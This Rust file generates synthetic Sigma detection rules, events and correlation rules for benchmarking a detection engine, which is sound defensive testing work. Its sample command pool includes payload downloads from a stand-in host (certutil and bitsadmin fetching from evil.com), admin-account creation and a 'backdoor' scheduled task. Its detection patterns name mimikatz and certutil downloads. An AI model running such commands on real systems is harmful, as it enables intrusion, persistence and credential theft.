//! Synthetic data generators for rsigma-eval benchmarks.
//!
//! Generates Sigma YAML rules, JSON events, and correlation rule YAML.
//! All generators are seeded for reproducibility.

#![allow(dead_code)]

use rand::rngs::StdRng;
use rand::{RngExt, SeedableRng};

/// Fixed seed for reproducible benchmarks.
const SEED: u64 = 0xDEAD_BEEF_CAFE;

/// Create a seeded RNG.
pub fn rng() -> StdRng {
    StdRng::seed_from_u64(SEED)
}

// ---------------------------------------------------------------------------
// Field / value pools
// ---------------------------------------------------------------------------

const FIELD_NAMES: &[&str] = &[
    "CommandLine",
    "ParentCommandLine",
    "Image",
    "ParentImage",
    "TargetFilename",
    "SourceIp",
    "DestinationIp",
    "DestinationPort",
    "User",
    "EventType",
    "ProcessName",
    "RegistryKey",
    "ServiceName",
    "Hashes",
    "QueryName",
    "OriginalFileName",
];

const STRING_VALUES: &[&str] = &[
    "whoami",
    "cmd.exe",
    "powershell.exe",
    "net.exe",
    "mimikatz",
    "lsass.exe",
    "svchost.exe",
    "rundll32.exe",
    "regsvr32.exe",
    "certutil.exe",
    "bitsadmin.exe",
    "mshta.exe",
    "wscript.exe",
    "cscript.exe",
    "explorer.exe",
    "tasklist.exe",
];

const WILDCARD_PATTERNS: &[&str] = &[
    "*\\\\whoami.exe",
    "C:\\\\Windows\\\\Temp\\\\*",
    "*\\\\cmd.exe /c *",
    "*.ps1",
    "*\\\\powershell*",
    "*\\\\AppData\\\\Local\\\\Temp\\\\*",
    "*mimikatz*",
    "*\\\\System32\\\\*",
    "HKLM\\\\SOFTWARE\\\\*",
    "*-encoded*",
];

const REGEX_PATTERNS: &[&str] = &[
    "(?i)cmd\\.exe.*/c.*whoami",
    "(?i)powershell.*-enc.*[A-Za-z0-9+/=]{40,}",
    "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}",
    "(?i)\\\\users\\\\[^\\\\]+\\\\appdata",
    "(?i)(invoke-mimikatz|sekurlsa)",
    "[A-Fa-f0-9]{32,64}",
    "(?i)net\\s+(user|localgroup|group)",
    "(?i)(certutil|bitsadmin).*(-urlcache|/transfer)",
];

const PRODUCTS: &[&str] = &["windows", "linux", "macos"];
const CATEGORIES: &[&str] = &[
    "process_creation",
    "file_event",
    "registry_event",
    "network_connection",
    "dns_query",
];
const LEVELS: &[&str] = &["low", "medium", "high", "critical"];

const USER_NAMES: &[&str] = &[
    "admin",
    "root",
    "SYSTEM",
    "alice",
    "bob",
    "carol",
    "dave",
    "eve",
    "svc_account",
    "backup_user",
    "deploy",
    "jenkins",
    "www-data",
];

pub const IMAGE_PATHS: &[&str] = &[
    "C:\\Windows\\System32\\cmd.exe",
    "C:\\Windows\\System32\\powershell.exe",
    "C:\\Windows\\System32\\whoami.exe",
    "C:\\Windows\\System32\\net.exe",
    "C:\\Windows\\System32\\rundll32.exe",
    "C:\\Windows\\System32\\svchost.exe",
    "C:\\Windows\\System32\\lsass.exe",
    "C:\\Windows\\Temp\\malware.exe",
    "C:\\Users\\admin\\AppData\\Local\\Temp\\payload.exe",
    "/usr/bin/bash",
    "/usr/bin/curl",
    "/usr/sbin/useradd",
];

const COMMAND_LINES: &[&str] = &[
    "whoami /all",
    "cmd.exe /c net user admin P@ss123",
    "powershell.exe -enc SGVsbG8gV29ybGQ=",
    "net localgroup administrators admin /add",
    "certutil -urlcache -split -f http://evil.com/payload.exe",
    "bitsadmin /transfer myJob http://evil.com/file C:\\temp\\file",
    "rundll32.exe shell32.dll,ShellExec_RunDLL notepad.exe",
    "schtasks /create /tn backdoor /tr malware.exe",
    "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    "wmic process list brief",
    "tasklist /svc",
    "ipconfig /all",
    "systeminfo",
    "nslookup evil.com",
    "ping -n 1 10.0.0.1",
    "notepad.exe readme.txt",
];

// ---------------------------------------------------------------------------
// Rule generators (same logic as parser/benches/gen.rs)
// ---------------------------------------------------------------------------

/// Generate a single realistic Sigma detection rule YAML.
pub fn gen_single_rule(rng: &mut StdRng, id: usize) -> String {
    let product = PRODUCTS[rng.random_range(0..PRODUCTS.len())];
    let category = CATEGORIES[rng.random_range(0..CATEGORIES.len())];
    let level = LEVELS[rng.random_range(0..LEVELS.len())];
    let num_items = rng.random_range(1..=4);

    let mut detection = String::new();
    detection.push_str("    selection:\n");
    let mut used_keys = std::collections::HashSet::new();
    for _ in 0..num_items {
        let field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];
        let val = STRING_VALUES[rng.random_range(0..STRING_VALUES.len())];
        let modifier = match rng.random_range(0..5u8) {
            0 => "",
            1 => "|contains",
            2 => "|startswith",
            3 => "|endswith",
            _ => "",
        };
        let key = format!("{field}{modifier}");
        if !used_keys.insert(key.clone()) {
            continue;
        }
        detection.push_str(&format!("        {key}: '{val}'\n"));
    }

    let has_filter = rng.random_bool(0.3);
    if has_filter {
        detection.push_str("    filter:\n");
        let field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];
        let val = STRING_VALUES[rng.random_range(0..STRING_VALUES.len())];
        detection.push_str(&format!("        {field}: '{val}'\n"));
    }

    let condition = if has_filter {
        "selection and not filter".to_string()
    } else {
        "selection".to_string()
    };

    format!(
        "title: Bench Rule {id}\n\
         id: bench-rule-{id:06}\n\
         name: bench_rule_{id}\n\
         logsource:\n\
         \x20   product: {product}\n\
         \x20   category: {category}\n\
         detection:\n\
         {detection}\
         \x20   condition: {condition}\n\
         level: {level}\n"
    )
}

/// Generate a single rule with `n_patterns` plain `|contains` values on
/// `CommandLine`. Used by the AC threshold sweep and contains-heavy throughput
/// benchmarks.
///
/// Pattern bytes are uniform random lowercase ASCII to avoid coincidental
/// matches with `COMMAND_LINES` literal corpus.
pub fn gen_contains_heavy_rule(rng: &mut StdRng, id: usize, n_patterns: usize) -> String {
    let mut values = String::new();
    for _ in 0..n_patterns {
        let len = rng.random_range(4..12);
        let word: String = (0..len)
            .map(|_| (rng.random_range(b'a'..=b'z')) as char)
            .collect();
        values.push_str(&format!("            - '{word}'\n"));
    }
    format!(
        "title: Contains Heavy {id}\n\
         id: contains-heavy-{id:06}\n\
         logsource:\n\
         \x20   product: windows\n\
         \x20   category: process_creation\n\
         detection:\n\
         \x20   selection:\n\
         \x20       CommandLine|contains:\n\
         {values}\
         \x20   condition: selection\n\
         level: medium\n"
    )
}

/// Generate `n` contains-heavy rules, each with the same `n_patterns` count.
pub fn gen_n_contains_heavy_rules(n: usize, n_patterns: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_contains_heavy_rule(&mut rng, i, n_patterns));
    }
    docs.join("---\n")
}

/// Generate a synthetic event with a `CommandLine` of approximately
/// `cmdline_len` bytes. Used by the threshold sweep to vary haystack length.
pub fn gen_event_with_cmdline_len(rng: &mut StdRng, cmdline_len: usize) -> serde_json::Value {
    let cmdline: String = (0..cmdline_len)
        .map(|_| (rng.random_range(b'a'..=b'z')) as char)
        .collect();
    serde_json::json!({
        "User": "admin",
        "Image": "C:\\Windows\\System32\\cmd.exe",
        "CommandLine": cmdline,
        "EventType": "process_create",
    })
}

/// Generate a single rule with `n_patterns` wildcard `|contains` values on
/// `CommandLine`. All patterns sit on the same field so the compiler emits
/// an `AnyOf` of `Regex` matchers, which the optimizer can batch into a
/// single `RegexSetMatch`.
///
/// Rules generated by this helper feed the regex-set throughput benchmark.
pub fn gen_regex_set_heavy_rule(rng: &mut StdRng, id: usize, n_patterns: usize) -> String {
    let mut values = String::new();
    for _ in 0..n_patterns {
        let pattern = WILDCARD_PATTERNS[rng.random_range(0..WILDCARD_PATTERNS.len())];
        values.push_str(&format!("            - '{pattern}'\n"));
    }
    format!(
        "title: Regex Set Heavy {id}\n\
         id: regex-set-heavy-{id:06}\n\
         logsource:\n\
         \x20   product: windows\n\
         \x20   category: process_creation\n\
         detection:\n\
         \x20   selection:\n\
         \x20       CommandLine|contains:\n\
         {values}\
         \x20   condition: selection\n\
         level: medium\n"
    )
}

/// Generate `n` regex-set-heavy rules, each with the same `n_patterns` count.
pub fn gen_n_regex_set_heavy_rules(n: usize, n_patterns: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_regex_set_heavy_rule(&mut rng, i, n_patterns));
    }
    docs.join("---\n")
}

/// Generate a single wildcard-heavy rule.
pub fn gen_wildcard_rule(rng: &mut StdRng, id: usize) -> String {
    let num_items = rng.random_range(2..=5);
    let mut detection = String::new();
    detection.push_str("    selection:\n");
    for _ in 0..num_items {
        let field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];
        let pattern = WILDCARD_PATTERNS[rng.random_range(0..WILDCARD_PATTERNS.len())];
        detection.push_str(&format!("        {field}|contains: '{pattern}'\n"));
    }

    format!(
        "title: Wildcard Rule {id}\n\
         id: wildcard-{id:06}\n\
         logsource:\n\
         \x20   product: windows\n\
         \x20   category: process_creation\n\
         detection:\n\
         {detection}\
         \x20   condition: selection\n\
         level: medium\n"
    )
}

/// Generate a single regex-heavy rule.
pub fn gen_regex_rule(rng: &mut StdRng, id: usize) -> String {
    let num_items = rng.random_range(1..=3);
    let mut detection = String::new();
    detection.push_str("    selection:\n");
    for _ in 0..num_items {
        let field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];
        let pattern = REGEX_PATTERNS[rng.random_range(0..REGEX_PATTERNS.len())];
        detection.push_str(&format!("        {field}|re: '{pattern}'\n"));
    }

    format!(
        "title: Regex Rule {id}\n\
         id: regex-{id:06}\n\
         logsource:\n\
         \x20   product: windows\n\
         \x20   category: process_creation\n\
         detection:\n\
         {detection}\
         \x20   condition: selection\n\
         level: medium\n"
    )
}

/// Generate a single rule whose detection items use only `|contains`
/// against a randomly-chosen field, with one needle per item.
///
/// Differs from `gen_single_rule` in that EVERY rule produced here is
/// substring-only, so the rule index marks them all unindexable. This is
/// the worst case for the engine without bloom pre-filtering and the best
/// case for measuring bloom-rejection benefits.
pub fn gen_substring_only_rule(rng: &mut StdRng, id: usize) -> String {
    let num_items = rng.random_range(1..=3);
    let mut detection = String::new();
    detection.push_str("    selection:\n");
    let mut used_fields = std::collections::HashSet::new();
    for _ in 0..num_items {
        let field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];
        if !used_fields.insert(field) {
            continue;
        }
        let val = STRING_VALUES[rng.random_range(0..STRING_VALUES.len())];
        let modifier = match rng.random_range(0..3u8) {
            0 => "|contains",
            1 => "|startswith",
            _ => "|endswith",
        };
        detection.push_str(&format!("        {field}{modifier}: '{val}'\n"));
    }
    format!(
        "title: Substring Rule {id}\n\
         id: substring-rule-{id:06}\n\
         logsource:\n\
         \x20   product: windows\n\
         \x20   category: process_creation\n\
         detection:\n\
         {detection}\
         \x20   condition: selection\n\
         level: medium\n"
    )
}

/// Generate `n` substring-only rules (see [`gen_substring_only_rule`]).
pub fn gen_n_substring_only_rules(n: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_substring_only_rule(&mut rng, i));
    }
    docs.join("---\n")
}

/// Generate a synthetic event whose string fields contain ONLY digits and
/// punctuation, guaranteeing no overlap with `STRING_VALUES`. Useful for
/// the bloom rejection benchmark where every event must be a guaranteed
/// non-match against the rule corpus.
pub fn gen_non_matching_event(rng: &mut StdRng) -> serde_json::Value {
    let cmdline: String = (0..rng.random_range(20..60))
        .map(|_| (rng.random_range(b'0'..=b'9')) as char)
        .collect();
    serde_json::json!({
        "User": "0000",
        "Image": "/0000/0000/0000",
        "CommandLine": cmdline,
        "ParentImage": "/0000/0000/0000",
        "SourceIp": "10.0.0.0",
        "DestinationPort": 0,
        "EventType": "0000",
        "ProcessName": "/0000/0000/0000",
        "OriginalFileName": "0000",
    })
}

pub fn gen_non_matching_events(n: usize) -> Vec<serde_json::Value> {
    let mut rng = rng();
    (0..n).map(|_| gen_non_matching_event(&mut rng)).collect()
}

/// Generate a multi-document YAML string with `n` detection rules.
pub fn gen_n_rules(n: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_single_rule(&mut rng, i));
    }
    docs.join("---\n")
}

/// Generate `n` wildcard-heavy rules.
pub fn gen_n_wildcard_rules(n: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_wildcard_rule(&mut rng, i));
    }
    docs.join("---\n")
}

/// Generate `n` regex-heavy rules.
pub fn gen_n_regex_rules(n: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::with_capacity(n);
    for i in 0..n {
        docs.push(gen_regex_rule(&mut rng, i));
    }
    docs.join("---\n")
}

// ---------------------------------------------------------------------------
// Event generators
// ---------------------------------------------------------------------------

/// Generate a single `serde_json::Value` event.
pub fn gen_event_value(rng: &mut StdRng) -> serde_json::Value {
    let user = USER_NAMES[rng.random_range(0..USER_NAMES.len())];
    let image = IMAGE_PATHS[rng.random_range(0..IMAGE_PATHS.len())];
    let cmdline = COMMAND_LINES[rng.random_range(0..COMMAND_LINES.len())];
    let parent = IMAGE_PATHS[rng.random_range(0..IMAGE_PATHS.len())];
    let src_ip = format!(
        "10.{}.{}.{}",
        rng.random_range(0..256u16),
        rng.random_range(0..256u16),
        rng.random_range(1..255u16),
    );
    let dst_port = rng.random_range(1..=65535u16);
    let event_type = match rng.random_range(0..4u8) {
        0 => "login",
        1 => "process_create",
        2 => "file_write",
        _ => "network_connect",
    };
    let original_name = image.rsplit(['\\', '/']).next().unwrap_or(image);

    serde_json::json!({
        "User": user,
        "Image": image,
        "CommandLine": cmdline,
        "ParentImage": parent,
        "SourceIp": src_ip,
        "DestinationPort": dst_port,
        "EventType": event_type,
        "ProcessName": image,
        "OriginalFileName": original_name,
    })
}

/// Generate `n` `serde_json::Value` events.
pub fn gen_event_values(n: usize) -> Vec<serde_json::Value> {
    let mut rng = rng();
    (0..n).map(|_| gen_event_value(&mut rng)).collect()
}

// ---------------------------------------------------------------------------
// Correlation rule generators
// ---------------------------------------------------------------------------

/// Generate `n_detect` detection rules followed by `n_corr` event_count
/// correlation rules that reference them.
pub fn gen_rules_with_event_count_correlations(n_detect: usize, n_corr: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::new();

    // Detection rules
    for i in 0..n_detect {
        docs.push(gen_single_rule(&mut rng, i));
    }

    // Correlation rules (each references a subset of detection rules)
    for c in 0..n_corr {
        let ref_idx = c % n_detect;
        let threshold = rng.random_range(2..=10u64);
        let timespan = rng.random_range(60..=3600u64);
        let group_field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];

        docs.push(format!(
            "title: Corr EventCount {c}\n\
             id: corr-ec-{c:06}\n\
             correlation:\n\
             \x20   type: event_count\n\
             \x20   rules:\n\
             \x20       - bench-rule-{ref_idx:06}\n\
             \x20   group-by:\n\
             \x20       - {group_field}\n\
             \x20   timespan: {timespan}s\n\
             \x20   condition:\n\
             \x20       gte: {threshold}\n\
             level: high\n"
        ));
    }

    docs.join("---\n")
}

/// Generate `n_detect` detection rules followed by `n_corr` temporal
/// correlation rules, each referencing 2–3 detection rules.
pub fn gen_rules_with_temporal_correlations(n_detect: usize, n_corr: usize) -> String {
    let mut rng = rng();
    let mut docs = Vec::new();

    for i in 0..n_detect {
        docs.push(gen_single_rule(&mut rng, i));
    }

    for c in 0..n_corr {
        let ref1 = c % n_detect;
        let ref2 = (c + 1) % n_detect;
        let timespan = rng.random_range(60..=3600u64);
        let group_field = FIELD_NAMES[rng.random_range(0..FIELD_NAMES.len())];

        docs.push(format!(
            "title: Corr Temporal {c}\n\
             id: corr-tmp-{c:06}\n\
             correlation:\n\
             \x20   type: temporal\n\
             \x20   rules:\n\
             \x20       - bench-rule-{ref1:06}\n\
             \x20       - bench-rule-{ref2:06}\n\
             \x20   group-by:\n\
             \x20       - {group_field}\n\
             \x20   timespan: {timespan}s\n\
             level: high\n"
        ));
    }

    docs.join("---\n")
}
